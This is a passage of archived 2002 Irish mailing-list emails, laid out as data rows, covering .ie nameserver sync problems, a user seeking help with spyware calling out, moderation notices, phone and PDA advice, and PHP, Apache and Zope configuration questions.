taint.org, I'd appreciate if you could take a look and make sure the settings match up with what they used to be. Sorry about this :( --j. -- 'Justin Mason' => { url => 'http://jmason.org/', blog => 'http://taint.org/' } _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 James Raftery ,iiu@taint.org,"Mon, 22 Jul 2002 10:49:16 +0100",Re: [IIU] IE nameserver problems,"Hi, John McCormac wrote: > Last week, when indexing stuff for WhoisIreland.com, I noticed that > ns0.domainregistry.ie and banba.domainregistry.ie were out of synch by > a few days. The other nameservers seemed to give a current SOA at that > time. However the affected secondaries may have been using > ns0.domainregistry.ie for axfr and propagated the error. I don't know what role ns0 plays in relation to the IE zone. It's certainly not involved in the regular resolution process. It may be involved in zone distribution as you suggest. IIRC (and I often don't) on Friday ns0 had a serial that none of the IE nameservers shared. Unfortunately I don't have a record of that. > This whole thing does seriously bring into question IEDR's decision to > outsource the technical admininstration of .ie to a company that > apparently does not even admin its own DNS. It is a nice story though - > almost as good as the time that .ie disappeared for 8 hours in July > 1998. ... and only you noticed :) [ Messages on the IEDR-FORUM list at the time don't support your assertion ] As an aside, shortly after my note on Friday uucp-gw-1.pa.dec.com and uucp-gw-2.pa.dec.com stopped responding to DNS requests. So IE had two dead nameservers, four stuck a week in the past and three working correctly. Marvellous. ATB, james _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 John McCormac ,iiu@taint.org,"Tue, 23 Jul 2002 22:53:23 +0100",Re: [IIU] IE nameserver problems,"James Raftery wrote: > > I don't know what role ns0 plays in relation to the IE zone. It's > certainly not involved in the regular resolution process. It may > be involved in zone distribution as you suggest. IIRC (and I often > don't) on Friday ns0 had a serial that none of the IE nameservers > shared. Unfortunately I don't have a record of that. >>From indexing CNO, ns0 appears to be IEDR's CNO nameserver for its CNO domains (iedr.com and others). > > This whole thing does seriously bring into question IEDR's decision to > > outsource the technical admininstration of .ie to a company that > > apparently does not even admin its own DNS. It is a nice story though - > > almost as good as the time that .ie disappeared for 8 hours in July > > 1998. > > ... and only you noticed :) > [ Messages on the IEDR-FORUM list at the time don't support > your assertion ] Yeah but I was right and I was there. The people who were saying that it did not happen did not see the fadeout in progress. It only came back after the server was rebooted properly. However improbable it seemed at the time, the nameservers came back up after a power outage without the .ie zonefile. As a result it, there was nothing in the file that the secondaries picked up. At the time, I thought that the file was on an NFS. But if it regenerated after reboot, and the NFS input was not there, it would have generated a blank zonefile - that makes some sense. History now but it has an alarming relevance. :) > As an aside, shortly after my note on Friday uucp-gw-1.pa.dec.com and > uucp-gw-2.pa.dec.com stopped responding to DNS requests. So IE had > two dead nameservers, four stuck a week in the past and three > working correctly. Marvellous. Confirm that. The nameservers themselves had connectivity problems from what I could see and it was going on for a while, even *after* the initial SOA problems. I am thinking of writing a simple .ie secondary state monitor for inclusion on WhoisIreland.com as these guys seem to be technologically incapable of running their own DNSes. What kind of distorted logic hands the admin of a national tld to a company that does not even handle DNS for its own domain? Whatever selection process IEDR used should be investigated by the relevant government department, especially as the company supposedly providing technical administration to IEDR did not actually spot this loss of synch. The IEDR contract with the company should be reviewed in the light of this event. This kind of 1 week loss of synch should not happen with a national domain. Ireland as E-hub - more like e-jit central! :) Regards...jmcc -- ******************************************** John McCormac * Hack Watch News jmcc@hackwatch.com * 22 Viewmount, Voice: +353-51-873640 * Waterford, BBS&Fax: +353-51-850143 * Ireland http://www.hackwatch.com/~kooltek ******************************************** -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6 mQCNAzAYPNsAAAEEAPGTHaNyitUTNAwF8BU6mF5PcbLQXdeuHf3xT6UOL+/Od+z+ ZOCAx8Ka9LJBjuQYw8hlqvTV5kceLlrP2HPqmk7YPOw1fQWlpTJof+ZMCxEVd1Qz TRet2vS/kiRQRYvKOaxoJhqIzUr1g3ovBnIdpKeo4KKULz9XKuxCgZsuLKkVAAUX tCJKb2huIE1jQ29ybWFjIDxqbWNjQGhhY2t3YXRjaC5jb20+tBJqbWNjQGhhY2t3 YXRjaC5jb20= =sTfy -----END PGP PUBLIC KEY BLOCK----- _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 iiu-admin@taint.org,iiu-admin@taint.org,"Wed, 24 Jul 2002 05:33:01 +0100",IIU post from emailharvest@email.com requires approval,"As list administrator, your authorization is requested for the following mailing list posting: List: IIU@iiu.taint.org From: emailharvest@email.com Subject: Harvest lots of E-mail addresses quickly ! Reason: Post by non-member to a members-only list At your convenience, visit: http://iiu.taint.org/mailman/admindb/iiu to approve or deny the request.",0,1 iiu-admin@taint.org,iiu-admin@taint.org,"Wed, 24 Jul 2002 14:03:01 +0100",IIU post from friendsworld@lovefinder.com requires approval,"As list administrator, your authorization is requested for the following mailing list posting: List: IIU@iiu.taint.org From: friendsworld@lovefinder.com Subject: humour Friendship to share ! Reason: Post by non-member to a members-only list At your convenience, visit: http://iiu.taint.org/mailman/admindb/iiu to approve or deny the request.",0,1 Antoin O Lachtnain ,"iiu@taint.org, iiu@taint.org","Fri, 26 Jul 2002 16:59:22 +0100",Re: [IIU] OCTR unlicensed band changes ...,"Does that mean that you could reach further, but you couldn't take up as much bandwidth then? a. At 04:27 PM 7/26/2002 +0100, Bernie Goldbach wrote: >Hi, > >I believe the higher allowance nationally comes with a prescribed specific >frequency constraint, so if you want 2 watts, you will have to confine >yourself to a tighter limit of the open spectrum. That could affect >deployments that channel-hop when they encounter degradations in signal >strength. > >regards >Bernie Goldbach >::talking to signs:: > > >_______________________________________________ >IIU mailing list >IIU@iiu.taint.org >http://iiu.taint.org/mailman/listinfo/iiu -- Antoin O Lachtnain ** antoin@eire.com ** http://www.eire.com ** +353-87-240-6691 _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 iiu-admin@taint.org,iiu-admin@taint.org,"Wed, 31 Jul 2002 17:08:17 +0100",IIU post from emailharvest@email.com requires approval,"As list administrator, your authorization is requested for the following mailing list posting: List: IIU@iiu.taint.org From: emailharvest@email.com Subject: ADV: Harvest lots of E-mail addresses quickly ! Reason: Post by non-member to a members-only list At your convenience, visit: http://iiu.taint.org/mailman/admindb/iiu to approve or deny the request.",0,1 iiu-admin@taint.org,iiu-admin@taint.org,"Thu, 01 Aug 2002 17:00:01 +0100",1 IIU admin request(s) waiting,"The IIU@iiu.taint.org mailing list has 1 request(s) waiting for your consideration at: http://iiu.taint.org/mailman/admindb/iiu Please attend to this at your earliest convenience. This notice of pending requests, if any, will be sent out daily. Pending posts: From: emailharvest@email.com on Wed Jul 31 17:08:17 2002 Cause: Post by non-member to a members-only list",0,1 """Brian O'Brien"" ",,"Sat, 3 Aug 2002 20:18:48 +0100",[IIU] spyware calling home?,"Hello all I'm looking for advice. My pc has developed a disturbing tendency of trying to access IP 62.17.143.253 without my consent. It has got to the stage where normal web-browsing is almost impossible. I have checked IP address on RIPE database and I know precisely who is being called. I contacted that company on 14 July, when the problem first arose and asked for a remedy but (surprise) got no reply. A helpful person on the ie.comp list suggested Adaware spyware removal. I ran this and haven't had a problem again until today. The offending program is obviously not in Adaware db. (I run adaware with current ref files every day now). Any suggestions, please, for removing whatever the f*** is causing this from my pc? Brian _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 Martin Whelan ,iiu@taint.org,"Sat, 03 Aug 2002 21:32:36 +0100",Re: [IIU] spyware calling home?,"Do you know which app is making the connection? At 20:18 03/08/02 +0100, you wrote: >Hello all >I'm looking for advice. My pc has developed a disturbing tendency of trying >to access IP 62.17.143.253 without my consent. It has got to the stage where >normal web-browsing is almost impossible. >I have checked IP address on RIPE database and I know precisely who is being >called. I contacted that company on 14 July, when the problem first arose >and asked for a remedy but (surprise) got no reply. >A helpful person on the ie.comp list suggested Adaware spyware removal. I >ran this and haven't had a problem again until today. >The offending program is obviously not in Adaware db. (I run adaware with >current ref files every day now).? >Any suggestions, please, for removing whatever the f*** is causing this >from my pc? >Brian > > >_______________________________________________ >IIU mailing list >IIU@iiu.taint.org >http://iiu.taint.org/mailman/listinfo/iiu ======================================================================== Martin Whelan | Dise Design | www.deisedesign.com | Tel : 086-8888975 "" Our core product Diseditor allows organisations to publish information to their web site in a fast and cost effective manner. There is no need for a full time web developer, as the site can be easily updated by the organisations own staff. Instant updates to keep site information fresh. Sites which are updated regularly bring users back. Visit www.deisedesign.com/deiseditor.html for a demonstration "" Diseditor "" Managing Your Information "" ======================================================================== _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 """Brian O'Brien"" ",,"Sat, 3 Aug 2002 21:47:02 +0100",Re: [IIU] spyware calling home?,"Unfortunately, I don't. ZoneAlarm normally gives that info but not this time. It just blocks the outward access and warns me that the attempt occurred. Brian ----- Original Message ----- From: ""Martin Whelan"" To: Sent: Saturday, August 03, 2002 9:32 PM Subject: Re: [IIU] spyware calling home? > Do you know which app is making the connection? > > > At 20:18 03/08/02 +0100, you wrote: > >Hello all > >I'm looking for advice. My pc has developed a disturbing tendency of trying > >to access IP 62.17.143.253 without my consent. It has got to the stage where > >normal web-browsing is almost impossible. > >I have checked IP address on RIPE database and I know precisely who is being > >called. I contacted that company on 14 July, when the problem first arose > >and asked for a remedy but (surprise) got no reply. > >A helpful person on the ie.comp list suggested Adaware spyware removal. I > >ran this and haven't had a problem again until today. > >The offending program is obviously not in Adaware db. (I run adaware with > >current ref files every day now).? > >Any suggestions, please, for removing whatever the f*** is causing this > >from my pc? > >Brian > > > > > >_______________________________________________ > >IIU mailing list > >IIU@iiu.taint.org > >http://iiu.taint.org/mailman/listinfo/iiu > > ======================================================================== > Martin Whelan | Dise Design | www.deisedesign.com | Tel : 086-8888975 > > "" Our core product Diseditor allows organisations to publish information > to their web site in a fast and cost effective manner. There is no need for > a full time web developer, as the site can be easily updated by the > organisations own staff. > Instant updates to keep site information fresh. Sites which are updated > regularly bring users back. Visit www.deisedesign.com/deiseditor.html for a > demonstration "" > > Diseditor "" Managing Your Information "" > ======================================================================== > > _______________________________________________ > IIU mailing list > IIU@iiu.taint.org > http://iiu.taint.org/mailman/listinfo/iiu > _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 Martin Whelan ,iiu@taint.org,"Sat, 03 Aug 2002 22:01:17 +0100",Re: [IIU] spyware calling home?,"It may be worth removing all your apps from the approved list. (a bit of a pain, I agree) then check the first app which makes the connection. With a bit of luck it won't be anything standard At 21:47 03/08/02 +0100, you wrote: >Unfortunately, I don't. ZoneAlarm normally gives that info but not this >time. It just blocks the outward access and warns me that the attempt >occurred. >Brian >----- Original Message ----- >From: ""Martin Whelan"" >To: >Sent: Saturday, August 03, 2002 9:32 PM >Subject: Re: [IIU] spyware calling home? > > > > Do you know which app is making the connection? > > > > > > At 20:18 03/08/02 +0100, you wrote: > > >Hello all > > >I'm looking for advice. My pc has developed a disturbing tendency of >trying > > >to access IP 62.17.143.253 without my consent. It has got to the stage >where > > >normal web-browsing is almost impossible. > > >I have checked IP address on RIPE database and I know precisely who is >being > > >called. I contacted that company on 14 July, when the problem first arose > > >and asked for a remedy but (surprise) got no reply. > > >A helpful person on the ie.comp list suggested Adaware spyware removal. I > > >ran this and haven't had a problem again until today. > > >The offending program is obviously not in Adaware db. (I run adaware with > > >current ref files every day now).? > > >Any suggestions, please, for removing whatever the f*** is causing this > > >from my pc? > > >Brian > > > > > > > > >_______________________________________________ > > >IIU mailing list > > >IIU@iiu.taint.org > > >http://iiu.taint.org/mailman/listinfo/iiu > > > > ======================================================================== > > Martin Whelan | Dise Design | www.deisedesign.com | Tel : 086-8888975 > > > > "" Our core product Diseditor allows organisations to publish >information > > to their web site in a fast and cost effective manner. There is no need >for > > a full time web developer, as the site can be easily updated by the > > organisations own staff. > > Instant updates to keep site information fresh. Sites which are updated > > regularly bring users back. Visit www.deisedesign.com/deiseditor.html for >a > > demonstration "" > > > > Diseditor "" Managing Your Information "" > > ======================================================================== > > > > _______________________________________________ > > IIU mailing list > > IIU@iiu.taint.org > > http://iiu.taint.org/mailman/listinfo/iiu > > > >_______________________________________________ >IIU mailing list >IIU@iiu.taint.org >http://iiu.taint.org/mailman/listinfo/iiu ======================================================================== Martin Whelan | Dise Design | www.deisedesign.com | Tel : 086-8888975 "" Our core product Diseditor allows organisations to publish information to their web site in a fast and cost effective manner. There is no need for a full time web developer, as the site can be easily updated by the organisations own staff. Instant updates to keep site information fresh. Sites which are updated regularly bring users back. Visit www.deisedesign.com/deiseditor.html for a demonstration "" Diseditor "" Managing Your Information "" ======================================================================== _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 """Brian O'Brien"" ",,"Sat, 3 Aug 2002 22:39:50 +0100",Re: [IIU] spyware calling home?,"Thanks, Martin, iwill try that, however i've only approved the minimal standard apps - I'll give it a go anyway. I think this is something more insidious than the standard adprogram - maybe i'm paranoid!!! Brian ----- Original Message ----- From: ""Martin Whelan"" To: Sent: Saturday, August 03, 2002 10:01 PM Subject: Re: [IIU] spyware calling home? > It may be worth removing all your apps from the approved list. (a bit of a > pain, I agree) then check the first app which makes the connection. With a > bit of luck it won't be anything standard > > At 21:47 03/08/02 +0100, you wrote: > >Unfortunately, I don't. ZoneAlarm normally gives that info but not this > >time. It just blocks the outward access and warns me that the attempt > >occurred. > >Brian > >----- Original Message ----- > >From: ""Martin Whelan"" > >To: > >Sent: Saturday, August 03, 2002 9:32 PM > >Subject: Re: [IIU] spyware calling home? > > > > > > > Do you know which app is making the connection? > > > > > > > > > At 20:18 03/08/02 +0100, you wrote: > > > >Hello all > > > >I'm looking for advice. My pc has developed a disturbing tendency of > >trying > > > >to access IP 62.17.143.253 without my consent. It has got to the stage > >where > > > >normal web-browsing is almost impossible. > > > >I have checked IP address on RIPE database and I know precisely who is > >being > > > >called. I contacted that company on 14 July, when the problem first arose > > > >and asked for a remedy but (surprise) got no reply. > > > >A helpful person on the ie.comp list suggested Adaware spyware removal. I > > > >ran this and haven't had a problem again until today. > > > >The offending program is obviously not in Adaware db. (I run adaware with > > > >current ref files every day now).? > > > >Any suggestions, please, for removing whatever the f*** is causing this > > > >from my pc? > > > >Brian > > > > > > > > > > > >_______________________________________________ > > > >IIU mailing list > > > >IIU@iiu.taint.org > > > >http://iiu.taint.org/mailman/listinfo/iiu > > > > > > ======================================================================== > > > Martin Whelan | Dise Design | www.deisedesign.com | Tel : 086-8888975 > > > > > > "" Our core product Diseditor allows organisations to publish > >information > > > to their web site in a fast and cost effective manner. There is no need > >for > > > a full time web developer, as the site can be easily updated by the > > > organisations own staff. > > > Instant updates to keep site information fresh. Sites which are updated > > > regularly bring users back. Visit www.deisedesign.com/deiseditor.html for > >a > > > demonstration "" > > > > > > Diseditor "" Managing Your Information "" > > > ======================================================================== > > > > > > _______________________________________________ > > > IIU mailing list > > > IIU@iiu.taint.org > > > http://iiu.taint.org/mailman/listinfo/iiu > > > > > > >_______________________________________________ > >IIU mailing list > >IIU@iiu.taint.org > >http://iiu.taint.org/mailman/listinfo/iiu > > ======================================================================== > Martin Whelan | Dise Design | www.deisedesign.com | Tel : 086-8888975 > > "" Our core product Diseditor allows organisations to publish information > to their web site in a fast and cost effective manner. There is no need for > a full time web developer, as the site can be easily updated by the > organisations own staff. > Instant updates to keep site information fresh. Sites which are updated > regularly bring users back. Visit www.deisedesign.com/deiseditor.html for a > demonstration "" > > Diseditor "" Managing Your Information "" > ======================================================================== > > _______________________________________________ > IIU mailing list > IIU@iiu.taint.org > http://iiu.taint.org/mailman/listinfo/iiu > _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 Richard Bannister ,iiu@taint.org,"Sat, 3 Aug 2002 23:06:37 +0100",Re: [IIU] spyware calling home?,"Ad Aware sometimes helps too. -R On Saturday, August 3, 2002, at 10:39 pm, Brian O'Brien wrote: > Thanks, Martin, iwill try that, however i've only approved the minimal > standard apps - I'll give it a go anyway. I think this is something more > insidious than the standard adprogram - maybe i'm paranoid!!! > Brian _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 iiu-admin@taint.org,iiu-admin@taint.org,"Tue, 13 Aug 2002 17:00:03 +0100",3 IIU admin request(s) waiting,"The IIU@iiu.taint.org mailing list has 3 request(s) waiting for your consideration at: http://iiu.taint.org/mailman/admindb/iiu Please attend to this at your earliest convenience. This notice of pending requests, if any, will be sent out daily. Pending posts: From: emailharvest@email.com on Wed Jul 31 17:08:17 2002 Cause: Post by non-member to a members-only list From: abcqojps9@usa.net on Sat Aug 3 21:29:41 2002 Cause: Post by non-member to a members-only list From: zigzags@oceanfree.net on Fri Aug 9 16:09:55 2002 Cause: Post by non-member to a members-only list",0,1 """Darragh Rogan"" ",,"Mon, 19 Aug 2002 22:17:06 +0100",RE: [IIU] Recommendations on phone / pda+phone + European GPRS coverage info.,"o2 xda? Darragh -----Original Message----- From: iiu-admin@taint.org [mailto:iiu-admin@taint.org]On Behalf Of Gearoid Griffin Sent: 19 August 2002 14:18 To: iiu@taint.org Subject: Re: [IIU] Recommendations on phone / pda+phone + European GPRS coverage info. Bernie, you might try the Sony - Ericcison T68m? I use it with my Pocket Pc all the time no problems. Gearid ----- Original Message ----- From: ""Bernard Michael Tyers"" To: ; ""Open Tech list"" Sent: Monday, August 19, 2002 2:12 PM Subject: [IIU] Recommendations on phone / pda+phone + European GPRS coverage info. > Hi everyone, > (apologies for the cross list posting) > > My boss has asked me about the whole phone-pda/pda + phone thingy. > They're looking for a phone with following outlined specs: > > 1. gprs > 2. tri-band (states useage also) > 3. long battery life > 4. irda/bluetooth (but bluetooth is only an add-on..I'm ignoring it) > 5. easy to use (phb market :) > > I had suggested him to maybe look at a pda/phone combo. > > Can anyone suggest : > > 1. possible phones with the first set of specs > 2. a phone/pda combo with the same specs > 3. some information sources (maps, rates, percentages, etc) for gprs > coverage europe-wide, and fees for roaming. > > thanks in advance, > > rgrds, > Bernard > -- > Bernard Tyers * National Centre for Sensor Research * P:353-1-700-5273 * > E: bernard.tyers@dcu.ie * W: www.physics.dcu.ie/~bty * L:N117 > > _______________________________________________ > IIU mailing list > IIU@iiu.taint.org > http://iiu.taint.org/mailman/listinfo/iiu > _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 Bernie Goldbach ,iiu@taint.org,"Tue, 20 Aug 2002 07:12:30 +0100",Re: [IIU] Recommendations on phone / pda+phone + European GPRS coverage info.,"Hi, I believe you get more value for money by separating the mobile phone from the PDA. As expressed by power users on Open, a combination like a EUR 160 Nokia 6310i talking to a EUR 440 Palm m515 will meet your specification. By using a EUR 90 Bluetooth SD chip, the Palm and the Nokia 6310i can talk to one another even when not in line of sight. regards Bernie www.topgold.com/blog/ _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 Bernard Michael Tyers ,iiu@taint.org,"Wed, 21 Aug 2002 16:22:21 +0100",[IIU] IIU: Recommendations on phone / pda+phone + European GPRS coverage,"hi all, thanks for the good information on the choice of phones, pda choices. as an aside i also saw that 3com have released a usb blootooth dongle. that in a lptp combined with a 6310i with the blootooth (with HSCSD) might be a nice thing to have (if they work!) i'm doin up a little doc, so if anyone is interested i'll post my findings. cheers! mit bestem, Bernardino -- rgrds, Bernard -- Bernard Tyers * National Centre for Sensor Research * P:353-1-700-5273 * E: bernard.tyers@dcu.ie * W: www.physics.dcu.ie/~bty * L:N117 _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 Bernard Michael Tyers ,"Open Tech list , iiu ","Thu, 22 Aug 2002 10:35:46 +0100",[IIU] Printer cartiridges looking for a good home.,"howdy all, I have in my possession the following: 2/3 Apple toner cartridges M20 45G/A for laser writer 300 / 320 / and 4/600 PS 1 Apple toner cartridge M2473G/A for laser writer 16/600PS / pro 630 / pro 600 1 Cannon EP-A cartridge 1 Cannon EP-E cartridge (the numbers might be a little less) Does anyone have one of these printers? Does anyone want to give me the change in their pockets, or the price of a pint for them? They would make a great Christmas present! If so you can call the printer cartridge hotline on the number below. If lines are busy call later. But do call NOW! Bernard ""I should be a host on QVC"" Tyers -- Bernard Tyers * National Centre for Sensor Research * P:353-1-700-5273 * E: bernard.tyers@dcu.ie * W: www.physics.dcu.ie/~bty * L:N117 _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 Niall O Broin ,webdev@linux.ie,"Sun, 28 Jul 2002 23:49:41 +0100",[Webdev] Migrating TO W2K,"Yes, I know, dreadful subject. However, because of customer inistence we must deploy one project on W2K. This will thus be a WAMP project rather than a LAMP project. Of course as a highly skilled *ix person I can handle these Windows toys :-) but can anyone suggest any good educational resources for using Apache, PHP, Perl and MySQL together on W2K. Anyone had to do the same and found any particular nasty gotchas (yes, I know about the running Microsoft software one). Niall _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 Nick Murtagh ,"webdev@linux.ie, Niall O Broin ","Mon, 29 Jul 2002 19:44:52 +0100",Re: [Webdev] Migrating TO W2K,"On Sunday 28 July 2002 23:49, Niall O Broin wrote: > Yes, I know, dreadful subject. However, because of customer inistence we > must deploy one project on W2K. This will thus be a WAMP project rather > than a LAMP project. Of course as a highly skilled *ix person I can handle > these Windows toys :-) but can anyone suggest any good educational > resources for using Apache, PHP, Perl and MySQL together on W2K. Anyone had > to do the same and found any particular nasty gotchas (yes, I know about > the running Microsoft software one). I had Apache, mod_php and MySQL running on windows 95 once :) As far as I remember, the only problem was getting the MSI installer installed on win 95, but that was mentioned in the docs. w2k has that built in, so you won't have that problem. You should be able to find pre-built binaries for win32. For perl try activestate.com, that's worked for me in the past. Nick _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 """William Harrison - Protocol"" ","""Nick Murtagh"" , ","Wed, 31 Jul 2002 11:05:44 +0100",RE: [Webdev] Migrating TO W2K,"Hi Nick Try PHPTriad http://download.com.com/3000-2165-6474268.html?tag=lst-0-1 ""PHPTriad is a complete PHP development and server environment for Windows. It installs PHP, Apache, MySQL, and PHPMyAdmin, both installing and setting up the environment. Version 2.11 updates all components and it now includes Perl 5."" HTH Will _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 Niall Sheridan ,William Harrison - Protocol ,31 Jul 2002 11:17:57 +0100,RE: [Webdev] Migrating TO W2K,"I thought I read somewhere that work on phpTriad had ceased? Setting up MySQL/PHP/Perl (activestate)/Apache on win2k server is a piece of cake anyhow Niall On Wed, 2002-07-31 at 11:05, William Harrison - Protocol wrote: > Hi Nick > > Try PHPTriad > > http://download.com.com/3000-2165-6474268.html?tag=lst-0-1 > > ""PHPTriad is a complete PHP development and server environment for Windows. > It installs PHP, Apache, MySQL, and PHPMyAdmin, both installing and setting > up the environment. Version 2.11 updates all components and it now includes > Perl 5."" > > HTH > > Will > > > > > > _______________________________________________ > Webdev mailing list > Webdev@linux.ie > http://www.linux.ie/mailman/listinfo/webdev > _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 listmaster@tuatha.org,yyyy-webdev@spamassassin.taint.org,"Thu, 1 Aug 2002 06:52:13 +0100",linux.ie mailing list memberships reminder,"This is a reminder, sent out once a month, about your linux.ie mailing list memberships. It includes your subscription info and how to use it to change it or unsubscribe from a list. You can visit the URLs to change your membership status or configuration, including unsubscribing, setting digest-style delivery or disabling delivery altogether (e.g., for a vacation), and so on. In addition to the URL interfaces, you can also use email to make such changes. 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Looney"" ",webdev@linux.ie,"Thu, 15 Aug 2002 17:15:53 +0100",[Webdev] mod_rewrite question,"I'm trying to wrap Zope up behind apache, so I can do VirtualHosts for Zope. I've a site on http://ip:8080/mysite. I want that to appear as http://mysite.com/ - so: ServerName mysite.com DocumentRoot /var/www/mysite RewriteEngine on RewriteRule ^/(.*) http://localhost:8080/mysite/$1 [P] Now, what happens is that apache grabs http://localhost:8080/mysite/ and spits it out to the browser. Lovely. all works. Except for framed pages (like Zope's management interface). It ends up looking like: and of course, that's not what my client should go to. Any ideas what I'm doing wrong ? Kate _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 """Adrian Murphy"" ",,"Mon, 19 Aug 2002 12:01:02 +0100",[Webdev] site monitroring service?,"This is a multi-part message in MIME format. ------=_NextPart_000_0032_01C24778.16FE3000 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, I wonder could anyone reccommend a good website monitoring service-with sms alerts. thx and sorry to be OT. Adrian Murphy 2020 Strategies Beechlawn Cloncrane Clonbullogue Co Offaly Ireland ------=_NextPart_000_0032_01C24778.16FE3000 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, I wonder could anyone reccommend a=20 good website monitoring service-with sms=20 alerts. thx and sorry to be OT.   Adrian Murphy2020=20 StrategiesBeechlawnCloncraneClonbullogueCo=20 OffalyIreland ------=_NextPart_000_0032_01C24778.16FE3000-- _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 Niall Brady ,webdev@linux.ie,"Mon, 19 Aug 2002 12:15:35 +0100",Re: [Webdev] site monitroring service?,"On Mon, 19 Aug 2002 12:01:02 BST, Adrian Murphy said: > >I wonder could anyone reccommend a good >website monitoring service-with sms alerts. >thx and sorry to be OT. It sounds more like you're looking for a commercial service, in which case ""ain't got a bog"", but on the offchance that you're looking for software, try nagios. (www.nagios.org) It'll do that and a lot more. -- Niall _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 Lee Hosty ,"""Adrian Murphy"" ,","Mon, 19 Aug 2002 12:28:23 +0100",Re: [Webdev] site monitroring service?,"You could try elive. http://monitoring.elive.ie/ At 12:01 PM 19/08/2002 +0100, Adrian Murphy wrote: >Hi, >I wonder could anyone reccommend a good >website monitoring service-with sms alerts. >thx and sorry to be OT. > >Adrian Murphy >2020 Strategies >Beechlawn >Cloncrane >Clonbullogue >Co Offaly >Ireland Lee Hosty -x- hostyle AT csn.ul.ie -x- +353 (0)86 8768780 -- SNITTERFIELD (n.) Office noticeboard on which snitters (q.v.),cards saying 'You don't have to be mad to work here, but if you are it helps !!!' and slightly smutty postcards from ibiza get pinned up by snitterbies (q.v.) _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 Lee Hosty ,webdev@linux.ie,"Mon, 19 Aug 2002 18:23:01 +0100",Re: [Webdev] PHP+Javascript request,"At 06:10 PM 19/08/2002 +0100, Dave Wilson wrote: >In order for PHP to parse the results of the SELECT MULTIPLE after it's >submitted, the variable name needs to end with []. That's great; PHP will >take each selected element and plant them as consecutive elements in an >array. But that makes for quite messy code when trying to link the regions >SELECT action with the sites SELECT MULTIPLE. Javascript can't refer to >the SELECT MULTIPLE by name because of the brackets, so I have to refer to >it by its location in the form. er, i understood you until you reached the above. Maybe its my lack of PHP but why would a variable name _need_ to end with [] ? With most languages you parse the submitted form data and should come out with either variables or an array / hash, which you then work with and name whatever you like. Lee Hosty -x- hostyle AT csn.ul.ie -x- +353 (0)86 8768780 -- YONDER BOGINE (n.) The kind of restaurant advertised as 'just three minutes from this cinema' which clearly nobody ever goes to and, even if they had ever contemplated it, have certainly changed their mind since seeing the advert. _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 Dave Wilson ,webdev@linux.ie,"Mon, 19 Aug 2002 18:28:42 +0100",Re: [Webdev] PHP+Javascript request,"> er, i understood you until you reached the above. Maybe its my lack of > PHP but why would a variable name _need_ to end with [] ? > > With most languages you parse the submitted form data and should come > out with either variables or an array / hash, which you then work with > and name whatever you like. IIRC, if the query string contains varname=FIRST&varname=SECOND then PHP will create a variable called ""varname"" with result SECOND. However, if the query string contains varname[]=FIRST&varname[]=SECOND then PHP will create an array with varname[1]==FIRST and varname[2]==SECOND There are other ways to get the data from the HTTP request, and I guess I'll do that if it turns out to simplify the script that creates the form; but as i understand it that's the ""official"" way to get data from a SELECT MULTIPLE using PHP. Dave _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 Donncha O Caoimh ,"Dave Wilson , webdev@linux.ie","Tue, 20 Aug 2002 10:02:52 +0100",Re: [Webdev] PHP+Javascript request,"Kate asked about this several months ago, and I posted some code and hints on how to work around this problem. AFAIR, you simply refer to the form elements by their names, including brackets, but put "" or ' around them, ie: val = ""document.form.city[1]""; I think that works, there's an answer to this question on http://faqts.com/ where I got the original answer. Donncha. On Monday 19 August 2002 18:28, Dave Wilson wrote: > > er, i understood you until you reached the above. Maybe its my lack of > > PHP but why would a variable name _need_ to end with [] ? > > > > With most languages you parse the submitted form data and should come > > out with either variables or an array / hash, which you then work with > > and name whatever you like. > > IIRC, if the query string contains > _______________________________________________ Webdev mailing list Webdev@linux.ie http://www.linux.ie/mailman/listinfo/webdev",0,1 Nick Murtagh ,webdev@linux.ie,20 Aug 2002 18:49:35 +0100,Re: [Webdev] PHP+Javascript request,"On Mon, 2002-08-19 at 18:28, Dave Wilson wrote: > IIRC, if the query string contains > > varname=FIRST&varname=SECOND > > then 